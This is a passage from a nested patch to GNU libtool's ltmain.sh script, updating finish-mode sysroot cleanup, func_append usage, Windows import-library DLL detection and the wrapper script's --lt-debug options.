--test "$mode" = execute && func_mode_execute ${1+"$@"}
-+test "$opt_mode" = execute && func_mode_execute ${1+"$@"}
-
-
- # func_mode_finish arg...
- func_mode_finish ()
- {
- $opt_debug
-- libdirs="$nonopt"
-+ libs=
-+ libdirs=
- admincmds=
-
-- if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
-- for dir
-- do
-- libdirs="$libdirs $dir"
-- done
-+ for opt in "$nonopt" ${1+"$@"}
-+ do
-+ if test -d "$opt"; then
-+ func_append libdirs " $opt"
-
-+ elif test -f "$opt"; then
-+ if func_lalib_unsafe_p "$opt"; then
-+ func_append libs " $opt"
-+ else
-+ func_warning "\`$opt' is not a valid libtool archive"
-+ fi
-+
-+ else
-+ func_fatal_error "invalid argument \`$opt'"
-+ fi
-+ done
-+
-+ if test -n "$libs"; then
-+ if test -n "$lt_sysroot"; then
-+ sysroot_regex=`$ECHO "$lt_sysroot" | $SED "$sed_make_literal_regex"`
-+ sysroot_cmd="s/\([ ']\)$sysroot_regex/\1/g;"
-+ else
-+ sysroot_cmd=
-+ fi
-+
-+ # Remove sysroot references
-+ if $opt_dry_run; then
-+ for lib in $libs; do
-+ echo "removing references to $lt_sysroot and \`=' prefixes from $lib"
-+ done
-+ else
-+ tmpdir=`func_mktempdir`
-+ for lib in $libs; do
-+ sed -e "${sysroot_cmd} s/\([ ']-[LR]\)=/\1/g; s/\([ ']\)=/\1/g" $lib \
-+ > $tmpdir/tmp-la
-+ mv -f $tmpdir/tmp-la $lib
-+ done
-+ ${RM}r "$tmpdir"
-+ fi
-+ fi
-+
-+ if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
- for libdir in $libdirs; do
- if test -n "$finish_cmds"; then
- # Do each command in the finish commands.
-@@ -1997,7 +2704,7 @@ func_mode_finish ()
- if test -n "$finish_eval"; then
- # Do the single finish_eval.
- eval cmds=\"$finish_eval\"
-- $opt_dry_run || eval "$cmds" || admincmds="$admincmds
-+ $opt_dry_run || eval "$cmds" || func_append admincmds "
- $cmds"
- fi
- done
-@@ -2006,53 +2713,55 @@ func_mode_finish ()
- # Exit here if they wanted silent mode.
- $opt_silent && exit $EXIT_SUCCESS
-
-- echo "----------------------------------------------------------------------"
-- echo "Libraries have been installed in:"
-- for libdir in $libdirs; do
-- $ECHO " $libdir"
-- done
-- echo
-- echo "If you ever happen to want to link against installed libraries"
-- echo "in a given directory, LIBDIR, you must either use libtool, and"
-- echo "specify the full pathname of the library, or use the \`-LLIBDIR'"
-- echo "flag during linking and do at least one of the following:"
-- if test -n "$shlibpath_var"; then
-- echo " - add LIBDIR to the \`$shlibpath_var' environment variable"
-- echo " during execution"
-- fi
-- if test -n "$runpath_var"; then
-- echo " - add LIBDIR to the \`$runpath_var' environment variable"
-- echo " during linking"
-- fi
-- if test -n "$hardcode_libdir_flag_spec"; then
-- libdir=LIBDIR
-- eval "flag=\"$hardcode_libdir_flag_spec\""
-+ if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
-+ echo "----------------------------------------------------------------------"
-+ echo "Libraries have been installed in:"
-+ for libdir in $libdirs; do
-+ $ECHO " $libdir"
-+ done
-+ echo
-+ echo "If you ever happen to want to link against installed libraries"
-+ echo "in a given directory, LIBDIR, you must either use libtool, and"
-+ echo "specify the full pathname of the library, or use the \`-LLIBDIR'"
-+ echo "flag during linking and do at least one of the following:"
-+ if test -n "$shlibpath_var"; then
-+ echo " - add LIBDIR to the \`$shlibpath_var' environment variable"
-+ echo " during execution"
-+ fi
-+ if test -n "$runpath_var"; then
-+ echo " - add LIBDIR to the \`$runpath_var' environment variable"
-+ echo " during linking"
-+ fi
-+ if test -n "$hardcode_libdir_flag_spec"; then
-+ libdir=LIBDIR
-+ eval flag=\"$hardcode_libdir_flag_spec\"
-
-- $ECHO " - use the \`$flag' linker flag"
-- fi
-- if test -n "$admincmds"; then
-- $ECHO " - have your system administrator run these commands:$admincmds"
-- fi
-- if test -f /etc/ld.so.conf; then
-- echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'"
-- fi
-- echo
-+ $ECHO " - use the \`$flag' linker flag"
-+ fi
-+ if test -n "$admincmds"; then
-+ $ECHO " - have your system administrator run these commands:$admincmds"
-+ fi
-+ if test -f /etc/ld.so.conf; then
-+ echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'"
-+ fi
-+ echo
-
-- echo "See any operating system documentation about shared libraries for"
-- case $host in
-- solaris2.[6789]|solaris2.1[0-9])
-- echo "more information, such as the ld(1), crle(1) and ld.so(8) manual"
-- echo "pages."
-- ;;
-- *)
-- echo "more information, such as the ld(1) and ld.so(8) manual pages."
-- ;;
-- esac
-- echo "----------------------------------------------------------------------"
-+ echo "See any operating system documentation about shared libraries for"
-+ case $host in
-+ solaris2.[6789]|solaris2.1[0-9])
-+ echo "more information, such as the ld(1), crle(1) and ld.so(8) manual"
-+ echo "pages."
-+ ;;
-+ *)
-+ echo "more information, such as the ld(1) and ld.so(8) manual pages."
-+ ;;
-+ esac
-+ echo "----------------------------------------------------------------------"
-+ fi
- exit $EXIT_SUCCESS
- }
-
--test "$mode" = finish && func_mode_finish ${1+"$@"}
-+test "$opt_mode" = finish && func_mode_finish ${1+"$@"}
-
-
- # func_mode_install arg...
-@@ -2077,7 +2786,7 @@ func_mode_install ()
- # The real first argument should be the name of the installation program.
- # Aesthetically quote it.
- func_quote_for_eval "$arg"
-- install_prog="$install_prog$func_quote_for_eval_result"
-+ func_append install_prog "$func_quote_for_eval_result"
- install_shared_prog=$install_prog
- case " $install_prog " in
- *[\\\ /]cp\ *) install_cp=: ;;
-@@ -2097,7 +2806,7 @@ func_mode_install ()
- do
- arg2=
- if test -n "$dest"; then
-- files="$files $dest"
-+ func_append files " $dest"
- dest=$arg
- continue
- fi
-@@ -2135,11 +2844,11 @@ func_mode_install ()
-
- # Aesthetically quote the argument.
- func_quote_for_eval "$arg"
-- install_prog="$install_prog $func_quote_for_eval_result"
-+ func_append install_prog " $func_quote_for_eval_result"
- if test -n "$arg2"; then
- func_quote_for_eval "$arg2"
- fi
-- install_shared_prog="$install_shared_prog $func_quote_for_eval_result"
-+ func_append install_shared_prog " $func_quote_for_eval_result"
- done
-
- test -z "$install_prog" && \
-@@ -2151,7 +2860,7 @@ func_mode_install ()
- if test -n "$install_override_mode" && $no_mode; then
- if $install_cp; then :; else
- func_quote_for_eval "$install_override_mode"
-- install_shared_prog="$install_shared_prog -m $func_quote_for_eval_result"
-+ func_append install_shared_prog " -m $func_quote_for_eval_result"
- fi
- fi
-
-@@ -2209,10 +2918,13 @@ func_mode_install ()
- case $file in
- *.$libext)
- # Do the static libraries later.
-- staticlibs="$staticlibs $file"
-+ func_append staticlibs " $file"
- ;;
-
- *.la)
-+ func_resolve_sysroot "$file"
-+ file=$func_resolve_sysroot_result
-+
- # Check to see that this really is a libtool archive.
- func_lalib_unsafe_p "$file" \
- || func_fatal_help "\`$file' is not a valid libtool archive"
-@@ -2226,23 +2938,30 @@ func_mode_install ()
- if test "X$destdir" = "X$libdir"; then
- case "$current_libdirs " in
- *" $libdir "*) ;;
-- *) current_libdirs="$current_libdirs $libdir" ;;
-+ *) func_append current_libdirs " $libdir" ;;
- esac
- else
- # Note the libdir as a future libdir.
- case "$future_libdirs " in
- *" $libdir "*) ;;
-- *) future_libdirs="$future_libdirs $libdir" ;;
-+ *) func_append future_libdirs " $libdir" ;;
- esac
- fi
-
- func_dirname "$file" "/" ""
- dir="$func_dirname_result"
-- dir="$dir$objdir"
-+ func_append dir "$objdir"
-
- if test -n "$relink_command"; then
-+ # Strip any trailing slash from the destination.
-+ func_stripname '' '/' "$libdir"
-+ destlibdir=$func_stripname_result
-+
-+ func_stripname '' '/' "$destdir"
-+ s_destdir=$func_stripname_result
-+
- # Determine the prefix the user has applied to our future dir.
-- inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"`
-+ inst_prefix_dir=`$ECHO "X$s_destdir" | $Xsed -e "s%$destlibdir\$%%"`
-
- # Don't allow the user to place us outside of our expected
- # location b/c this prevents finding dependent libraries that
-@@ -2315,7 +3034,7 @@ func_mode_install ()
- func_show_eval "$install_prog $instname $destdir/$name" 'exit $?'
-
- # Maybe install the static library, too.
-- test -n "$old_library" && staticlibs="$staticlibs $dir/$old_library"
-+ test -n "$old_library" && func_append staticlibs " $dir/$old_library"
- ;;
-
- *.lo)
-@@ -2503,7 +3222,7 @@ func_mode_install ()
- test -n "$future_libdirs" && \
- func_warning "remember to run \`$progname --finish$future_libdirs'"
-
-- if test -n "$current_libdirs" && $opt_finish; then
-+ if test -n "$current_libdirs"; then
- # Maybe just do a dry run.
- $opt_dry_run && current_libdirs=" -n$current_libdirs"
- exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs'
-@@ -2512,7 +3231,7 @@ func_mode_install ()
- fi
- }
-
--test "$mode" = install && func_mode_install ${1+"$@"}
-+test "$opt_mode" = install && func_mode_install ${1+"$@"}
-
-
- # func_generate_dlsyms outputname originator pic_p
-@@ -2559,6 +3278,18 @@ extern \"C\" {
- #pragma GCC diagnostic ignored \"-Wstrict-prototypes\"
- #endif
-
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- /* External symbol declarations for the compiler. */\
- "
-
-@@ -2570,21 +3301,22 @@ extern \"C\" {
- # Add our own program objects to the symbol list.
- progfiles=`$ECHO "$objs$old_deplibs" | $SP2NL | $SED "$lo2o" | $NL2SP`
- for progfile in $progfiles; do
-- func_verbose "extracting global C symbols from \`$progfile'"
-- $opt_dry_run || eval "$NM $progfile | $global_symbol_pipe >> '$nlist'"
-+ func_to_tool_file "$progfile" func_convert_file_msys_to_w32
-+ func_verbose "extracting global C symbols from \`$func_to_tool_file_result'"
-+ $opt_dry_run || eval "$NM $func_to_tool_file_result | $global_symbol_pipe >> '$nlist'"
- done
-
- if test -n "$exclude_expsyms"; then
- $opt_dry_run || {
-- $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T
-- $MV "$nlist"T "$nlist"
-+ eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T'
-+ eval '$MV "$nlist"T "$nlist"'
- }
- fi
-
- if test -n "$export_symbols_regex"; then
- $opt_dry_run || {
-- $EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T
-- $MV "$nlist"T "$nlist"
-+ eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T'
-+ eval '$MV "$nlist"T "$nlist"'
- }
- fi
-
-@@ -2593,23 +3325,23 @@ extern \"C\" {
- export_symbols="$output_objdir/$outputname.exp"
- $opt_dry_run || {
- $RM $export_symbols
-- ${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' < "$nlist" > "$export_symbols"
-+ eval "${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"'
- case $host in
- *cygwin* | *mingw* | *cegcc* )
-- echo EXPORTS > "$output_objdir/$outputname.def"
-- cat "$export_symbols" >> "$output_objdir/$outputname.def"
-+ eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
-+ eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"'
- ;;
- esac
- }
- else
- $opt_dry_run || {
-- ${SED} -e 's/\([].[*^$]\)/\\\1/g' -e 's/^/ /' -e 's/$/$/' < "$export_symbols" > "$output_objdir/$outputname.exp"
-- $GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T
-- $MV "$nlist"T "$nlist"
-+ eval "${SED} -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"'
-+ eval '$GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T'
-+ eval '$MV "$nlist"T "$nlist"'
- case $host in
- *cygwin* | *mingw* | *cegcc* )
-- echo EXPORTS > "$output_objdir/$outputname.def"
-- cat "$nlist" >> "$output_objdir/$outputname.def"
-+ eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
-+ eval 'cat "$nlist" >> "$output_objdir/$outputname.def"'
- ;;
- esac
- }
-@@ -2620,10 +3352,52 @@ extern \"C\" {
- func_verbose "extracting global C symbols from \`$dlprefile'"
- func_basename "$dlprefile"
- name="$func_basename_result"
-- $opt_dry_run || {
-- $ECHO ": $name " >> "$nlist"
-- eval "$NM $dlprefile 2>/dev/null | $global_symbol_pipe >> '$nlist'"
-- }
-+ case $host in
-+ *cygwin* | *mingw* | *cegcc* )
-+ # if an import library, we need to obtain dlname
-+ if func_win32_import_lib_p "$dlprefile"; then
-+ func_tr_sh "$dlprefile"
-+ eval "curr_lafile=\$libfile_$func_tr_sh_result"
-+ dlprefile_dlbasename=""
-+ if test -n "$curr_lafile" && func_lalib_p "$curr_lafile"; then
-+ # Use subshell, to avoid clobbering current variable values
-+ dlprefile_dlname=`source "$curr_lafile" && echo "$dlname"`
-+ if test -n "$dlprefile_dlname" ; then
-+ func_basename "$dlprefile_dlname"
-+ dlprefile_dlbasename="$func_basename_result"
-+ else
-+ # no lafile. user explicitly requested -dlpreopen <import library>.
-+ $sharedlib_from_linklib_cmd "$dlprefile"
-+ dlprefile_dlbasename=$sharedlib_from_linklib_result
-+ fi
-+ fi
-+ $opt_dry_run || {
-+ if test -n "$dlprefile_dlbasename" ; then
-+ eval '$ECHO ": $dlprefile_dlbasename" >> "$nlist"'
-+ else
-+ func_warning "Could not compute DLL name from $name"
-+ eval '$ECHO ": $name " >> "$nlist"'
-+ fi
-+ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
-+ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe |
-+ $SED -e '/I __imp/d' -e 's/I __nm_/D /;s/_nm__//' >> '$nlist'"
-+ }
-+ else # not an import lib
-+ $opt_dry_run || {
-+ eval '$ECHO ": $name " >> "$nlist"'
-+ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
-+ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'"
-+ }
-+ fi
-+ ;;
-+ *)
-+ $opt_dry_run || {
-+ eval '$ECHO ": $name " >> "$nlist"'
-+ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
-+ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'"
-+ }
-+ ;;
-+ esac
- done
-
- $opt_dry_run || {
-@@ -2661,26 +3435,9 @@ typedef struct {
- const char *name;
- void *address;
- } lt_dlsymlist;
--"
-- case $host in
-- *cygwin* | *mingw* | *cegcc* )
-- echo >> "$output_objdir/$my_dlsyms" "\
--/* DATA imports from DLLs on WIN32 con't be const, because
-- runtime relocations are performed -- see ld's documentation
-- on pseudo-relocs. */"
-- lt_dlsym_const= ;;
-- *osf5*)
-- echo >> "$output_objdir/$my_dlsyms" "\
--/* This system does not cope well with relocations in const data */"
-- lt_dlsym_const= ;;
-- *)
-- lt_dlsym_const=const ;;
-- esac
--
-- echo >> "$output_objdir/$my_dlsyms" "\
--extern $lt_dlsym_const lt_dlsymlist
-+extern LT_DLSYM_CONST lt_dlsymlist
- lt_${my_prefix}_LTX_preloaded_symbols[];
--$lt_dlsym_const lt_dlsymlist
-+LT_DLSYM_CONST lt_dlsymlist
- lt_${my_prefix}_LTX_preloaded_symbols[] =
- {\
- { \"$my_originator\", (void *) 0 },"
-@@ -2736,7 +3493,7 @@ static const void *lt_preloaded_setup() {
- for arg in $LTCFLAGS; do
- case $arg in
- -pie | -fpie | -fPIE) ;;
-- *) symtab_cflags="$symtab_cflags $arg" ;;
-+ *) func_append symtab_cflags " $arg" ;;
- esac
- done
-
-@@ -2796,9 +3553,11 @@ func_win32_libid ()
- win32_libid_type="x86 archive import"
- ;;
- *ar\ archive*) # could be an import, or static
-- if $OBJDUMP -f "$1" | $SED -e '10q' 2>/dev/null |
-- $EGREP 'file format (pe-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' >/dev/null; then
-- win32_nmres=`$NM -f posix -A "$1" |
-+ # Keep the egrep pattern in sync with the one in _LT_CHECK_MAGIC_METHOD.
-+ if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null |
-+ $EGREP 'file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' >/dev/null; then
-+ func_to_tool_file "$1" func_convert_file_msys_to_w32
-+ win32_nmres=`eval $NM -f posix -A \"$func_to_tool_file_result\" |
- $SED -n -e '
- 1,100{
- / I /{
-@@ -2827,6 +3586,131 @@ func_win32_libid ()
- $ECHO "$win32_libid_type"
- }
-
-+# func_cygming_dll_for_implib ARG
-+#
-+# Platform-specific function to extract the
-+# name of the DLL associated with the specified
-+# import library ARG.
-+# Invoked by eval'ing the libtool variable
-+# $sharedlib_from_linklib_cmd
-+# Result is available in the variable
-+# $sharedlib_from_linklib_result
-+func_cygming_dll_for_implib ()
-+{
-+ $opt_debug
-+ sharedlib_from_linklib_result=`$DLLTOOL --identify-strict --identify "$1"`
-+}
-+
-+# func_cygming_dll_for_implib_fallback_core SECTION_NAME LIBNAMEs
-+#
-+# The is the core of a fallback implementation of a
-+# platform-specific function to extract the name of the
-+# DLL associated with the specified import library LIBNAME.
-+#
-+# SECTION_NAME is either .idata$6 or .idata$7, depending
-+# on the platform and compiler that created the implib.
-+#
-+# Echos the name of the DLL associated with the
-+# specified import library.
-+func_cygming_dll_for_implib_fallback_core ()
-+{
-+ $opt_debug
-+ match_literal=`$ECHO "$1" | $SED "$sed_make_literal_regex"`
-+ $OBJDUMP -s --section "$1" "$2" 2>/dev/null |
-+ $SED '/^Contents of section '"$match_literal"':/{
-+ # Place marker at beginning of archive member dllname section
-+ s/.*/====MARK====/
-+ p
-+ d
-+ }
-+ # These lines can sometimes be longer than 43 characters, but
-+ # are always uninteresting
-+ /:[ ]*file format pe[i]\{,1\}-/d
-+ /^In archive [^:]*:/d
-+ # Ensure marker is printed
-+ /^====MARK====/p
-+ # Remove all lines with less than 43 characters
-+ /^.\{43\}/!d
-+ # From remaining lines, remove first 43 characters
-+ s/^.\{43\}//' |
-+ $SED -n '
-+ # Join marker and all lines until next marker into a single line
-+ /^====MARK====/ b para
-+ H
-+ $ b para
-+ b
-+ :para
-+ x
-+ s/\n//g
-+ # Remove the marker
-+ s/^====MARK====//
-+ # Remove trailing dots and whitespace
-+ s/[\. \t]*$//
-+ # Print
-+ /./p' |
-+ # we now have a list, one entry per line, of the stringified
-+ # contents of the appropriate section of all members of the
-+ # archive which possess that section. Heuristic: eliminate
-+ # all those which have a first or second character that is
-+ # a '.' (that is, objdump's representation of an unprintable
-+ # character.) This should work for all archives with less than
-+ # 0x302f exports -- but will fail for DLLs whose name actually
-+ # begins with a literal '.' or a single character followed by
-+ # a '.'.
-+ #
-+ # Of those that remain, print the first one.
-+ $SED -e '/^\./d;/^.\./d;q'
-+}
-+
-+# func_cygming_gnu_implib_p ARG
-+# This predicate returns with zero status (TRUE) if
-+# ARG is a GNU/binutils-style import library. Returns
-+# with nonzero status (FALSE) otherwise.
-+func_cygming_gnu_implib_p ()
-+{
-+ $opt_debug
-+ func_to_tool_file "$1" func_convert_file_msys_to_w32
-+ func_cygming_gnu_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $EGREP ' (_head_[A-Za-z0-9_]+_[ad]l*|[A-Za-z0-9_]+_[ad]l*_iname)$'`
-+ test -n "$func_cygming_gnu_implib_tmp"
-+}
-+
-+# func_cygming_ms_implib_p ARG
-+# This predicate returns with zero status (TRUE) if
-+# ARG is an MS-style import library. Returns
-+# with nonzero status (FALSE) otherwise.
-+func_cygming_ms_implib_p ()
-+{
-+ $opt_debug
-+ func_to_tool_file "$1" func_convert_file_msys_to_w32
-+ func_cygming_ms_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $GREP '_NULL_IMPORT_DESCRIPTOR'`
-+ test -n "$func_cygming_ms_implib_tmp"
-+}
-+
-+# func_cygming_dll_for_implib_fallback ARG
-+# Platform-specific function to extract the
-+# name of the DLL associated with the specified
-+# import library ARG.
-+#
-+# This fallback implementation is for use when $DLLTOOL
-+# does not support the --identify-strict option.
-+# Invoked by eval'ing the libtool variable
-+# $sharedlib_from_linklib_cmd
-+# Result is available in the variable
-+# $sharedlib_from_linklib_result
-+func_cygming_dll_for_implib_fallback ()
-+{
-+ $opt_debug
-+ if func_cygming_gnu_implib_p "$1" ; then
-+ # binutils import library
-+ sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$7' "$1"`
-+ elif func_cygming_ms_implib_p "$1" ; then
-+ # ms-generated import library
-+ sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$6' "$1"`
-+ else
-+ # unknown
-+ sharedlib_from_linklib_result=""
-+ fi
-+}
-
-
- # func_extract_an_archive dir oldlib
-@@ -2917,7 +3801,7 @@ func_extract_archives ()
- darwin_file=
- darwin_files=
- for darwin_file in $darwin_filelist; do
-- darwin_files=`find unfat-$$ -name $darwin_file -print | $NL2SP`
-+ darwin_files=`find unfat-$$ -name $darwin_file -print | sort | $NL2SP`
- $LIPO -create -output "$darwin_file" $darwin_files
- done # $darwin_filelist
- $RM -rf unfat-$$
-@@ -2932,7 +3816,7 @@ func_extract_archives ()
- func_extract_an_archive "$my_xdir" "$my_xabs"
- ;;
- esac
-- my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | $NL2SP`
-+ my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | sort | $NL2SP`
- done
-
- func_extract_archives_result="$my_oldobjs"
-@@ -3014,7 +3898,110 @@ func_fallback_echo ()
- _LTECHO_EOF'
- }
- ECHO=\"$qECHO\"
-- fi\
-+ fi
-+
-+# Very basic option parsing. These options are (a) specific to
-+# the libtool wrapper, (b) are identical between the wrapper
-+# /script/ and the wrapper /executable/ which is used only on
-+# windows platforms, and (c) all begin with the string "--lt-"
-+# (application programs are unlikely to have options which match
-+# this pattern).
-+#
-+# There are only two supported options: --lt-debug and
-+# --lt-dump-script. There is, deliberately, no --lt-help.
-+#
-+# The first argument to this parsing function should be the
-+# script's $0 value, followed by "$@".
-+lt_option_debug=
-+func_parse_lt_options ()
-+{
-+ lt_script_arg0=\$0
-+ shift
-+ for lt_opt
-+ do
-+ case \"\$lt_opt\" in
-+ --lt-debug) lt_option_debug=1 ;;
-+ --lt-dump-script)
-+ lt_dump_D=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%/[^/]*$%%'\`
-+ test \"X\$lt_dump_D\" = \"X\$lt_script_arg0\" && lt_dump_D=.
-+ lt_dump_F=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%^.*/%%'\`
-+ cat \"\$lt_dump_D/\$lt_dump_F\"
-+ exit 0
-+ ;;
-+ --lt-*)
-+ \$ECHO \"Unrecognized --lt- option: '\$lt_opt'\" 1>&2
-+ exit 1
-+ ;;
-+ esac
-+ done
-+
-+ # Print the debug banner immediately:
-+ if test -n \"\$lt_option_debug\"; then
-+ echo \"${outputname}:${output}:\${LINENO}: libtool wrapper (GNU $PACKAGE$TIMESTAMP) $VERSION\" 1>&2
-+ fi
-+}
-+
-+# Used when --lt-debug. Prints its arguments to stdout
-+# (redirection is the responsibility of the caller)
-+func_lt_dump_args ()
-+{
-+ lt_dump_args_N=1;
-+ for lt_arg
-+ do
-+ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[\$lt_dump_args_N]: \$lt_arg\"
-+ lt_dump_args_N=\`expr \$lt_dump_args_N + 1\`
-+ done
-+}
-+
-+# Core function for launching the target application
-+func_exec_program_core ()
-+{
-+"
-+ case $host in
-+ # Backslashes separate directories on plain windows
-+ *-*-mingw | *-*-os2* | *-cegcc*)
-+ $ECHO "\
-+ if test -n \"\$lt_option_debug\"; then
-+ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[0]: \$progdir\\\\\$program\" 1>&2
-+ func_lt_dump_args \${1+\"\$@\"} 1>&2
-+ fi
-+ exec \"\$progdir\\\\\$program\" \${1+\"\$@\"}
-+"
-+ ;;
-+
-+ *)
-+ $ECHO "\
-+ if test -n \"\$lt_option_debug\"; then
-+ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[0]: \$progdir/\$program\" 1>&2
-+ func_lt_dump_args \${1+\"\$@\"} 1>&2
-+ fi
-+ exec \"\$progdir/\$program\" \${1+\"\$@\"}
-+"
-+ ;;
-+ esac
-+ $ECHO "\
-+ \$ECHO \"\$0: cannot exec \$program \$*\" 1>&2
-+ exit 1
-+}
-+
-+# A function to encapsulate launching the target application
-+# Strips options in the --lt-* namespace from \$@ and
-+# launches target application with the remaining arguments.
-+func_exec_program ()
-+{
-+ for lt_wr_arg
-+ do
-+ case \$lt_wr_arg in
-+ --lt-*) ;;
-+ *) set x \"\$@\" \"\$lt_wr_arg\"; shift;;
-+ esac
-+ shift
-+ done
-+ func_exec_program_core \${1+\"\$@\"}
-+}
-+
-+ # Parse options
-+ func_parse_lt_options \"\$0\" \${1+\"\$@\"}
-
- # Find the directory that this script lives in.
- thisdir=\`\$ECHO \"\$file\" | $SED 's%/[^/]*$%%'\`
-@@ -3078,7 +4065,7 @@ _LTECHO_EOF'
-
- # relink executable if necessary
- if test -n \"\$relink_command\"; then
-- if relink_command_output=\`eval \"\$relink_command\" 2>&1\`; then :
-+ if relink_command_output=\`eval \$relink_command 2>&1\`; then :
- else
- $ECHO \"\$relink_command_output\" >&2
- $RM \"\$progdir/\$file\"
-@@ -3102,6 +4089,18 @@ _LTECHO_EOF'
-
- if test -f \"\$progdir/\$program\"; then"
-
-+ # fixup the dll searchpath if we need to.
-+ #
-+ # Fix the DLL searchpath if we need to. Do this before prepending
-+ # to shlibpath, because on Windows, both are PATH and uninstalled
-+ # libraries must come first.
-+ if test -n "$dllsearchpath"; then
-+ $ECHO "\
-+ # Add the dll search path components to the executable PATH
-+ PATH=$dllsearchpath:\$PATH
-+"
-+ fi
-+
- # Export our shlibpath_var if we have one.
- if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then
- $ECHO "\
-@@ -3116,35 +4115,10 @@ _LTECHO_EOF'
- "
- fi
-
-- # fixup the dll searchpath if we need to.
-- if test -n "$dllsearchpath"; then
-- $ECHO "\
-- # Add the dll search path components to the executable PATH
-- PATH=$dllsearchpath:\$PATH
--"
-- fi
--
- $ECHO "\
- if test \"\$libtool_execute_magic\" != \"$magic\"; then
- # Run the actual program with our arguments.
--"
-- case $host in
-- # Backslashes separate directories on plain windows
-- *-*-mingw | *-*-os2* | *-cegcc*)
-- $ECHO "\
-- exec \"\$progdir\\\\\$program\" \${1+\"\$@\"}
--"
-- ;;
--
-- *)
-- $ECHO "\
-- exec \"\$progdir/\$program\" \${1+\"\$@\"}
--"
-- ;;
-- esac
-- $ECHO "\
-- \$ECHO \"\$0: cannot exec \$program \$*\" 1>&2
-- exit 1
-+ func_exec_program \${1+\"\$@\"}
- fi
- else
- # The program doesn't exist.
-@@ -3158,166 +4132,6 @@ fi\
- }
-
-
--# func_to_host_path arg
--#
--# Convert paths to host format when used with build tools.
--# Intended for use with "native" mingw (where libtool itself
--# is running under the msys shell), or in the following cross-
--# build environments:
--# $build $host
--# mingw (msys) mingw [e.g. native]
--# cygwin mingw
--# *nix + wine mingw
--# where wine is equipped with the `winepath' executable.
--# In the native mingw case, the (msys) shell automatically
--# converts paths for any non-msys applications it launches,
--# but that facility isn't available from inside the cwrapper.
--# Similar accommodations are necessary for $host mingw and
--# $build cygwin. Calling this function does no harm for other
--# $host/$build combinations not listed above.
--#
--# ARG is the path (on $build) that should be converted to
--# the proper representation for $host. The result is stored
--# in $func_to_host_path_result.
--func_to_host_path ()
--{
-- func_to_host_path_result="$1"
-- if test -n "$1"; then
-- case $host in
-- *mingw* )
-- lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
-- case $build in
-- *mingw* ) # actually, msys
-- # awkward: cmd appends spaces to result
-- func_to_host_path_result=`( cmd //c echo "$1" ) 2>/dev/null |
-- $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
-- ;;
-- *cygwin* )
-- func_to_host_path_result=`cygpath -w "$1" |
-- $SED -e "$lt_sed_naive_backslashify"`
-- ;;
-- * )
-- # Unfortunately, winepath does not exit with a non-zero
-- # error code, so we are forced to check the contents of
-- # stdout. On the other hand, if the command is not
-- # found, the shell will set an exit code of 127 and print
-- # *an error message* to stdout. So we must check for both
-- # error code of zero AND non-empty stdout, which explains
-- # the odd construction:
-- func_to_host_path_tmp1=`winepath -w "$1" 2>/dev/null`
-- if test "$?" -eq 0 && test -n "${func_to_host_path_tmp1}"; then
-- func_to_host_path_result=`$ECHO "$func_to_host_path_tmp1" |
-- $SED -e "$lt_sed_naive_backslashify"`
-- else
-- # Allow warning below.
-- func_to_host_path_result=
-- fi
-- ;;
-- esac
-- if test -z "$func_to_host_path_result" ; then
-- func_error "Could not determine host path corresponding to"
-- func_error " \`$1'"
-- func_error "Continuing, but uninstalled executables may not work."
-- # Fallback:
-- func_to_host_path_result="$1"
